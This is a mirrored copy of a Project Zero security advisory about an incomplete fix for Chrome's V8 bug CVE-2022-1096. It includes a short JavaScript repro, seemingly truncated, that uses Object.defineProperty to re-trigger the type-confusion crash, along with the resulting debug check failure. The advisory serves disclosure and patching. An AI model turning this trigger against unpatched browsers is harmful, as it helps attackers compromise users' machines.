Edit Report

Our sensors found this exploit at:

Below is a copy:

Chrome CVE-2022-1096 Incomplete Fix
Chrome: Incomplete fix for CVE-2022-1096

The fix for has modified `SetPropertyInternal()` to fall back to `SetSuperProperty()` whenever a property access interceptor is encountered because `SetSuperProperty()` is robust against possible side effects caused by interceptors.

Unfortunately, the function `JSObject::DefineOwnPropertyIgnoreAttributes()` is also affected by the bug and requires the same change.

Google Chrome 100.0.4896.60 (Official Build) (arm64)
Chromium 102.0.4972.0 (Developer Build) (64-bit)

To make the exploit functional again, the attacker only needs to replace one property store with an `Object.defineProperty()` call:

style = document.createElement('p').style;
Object.defineProperty(style, 'prop', {
  value: { toString() { style.prop = 1 } }

The repro case above triggers the same DCHECK failure:

# Fatal error in ../../v8/src/objects/, line 437
# Debug check failed: map->instance_descriptors(isolate) .Search(*name, map->NumberOfOwnDescriptors()) .is_not_found().

Sergei Glazunov of Google Project Zero

This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2022-06-28.

Related CVE Numbers: CVE-2022-1232,CVE-2022-1096.

Found by: [email protected]

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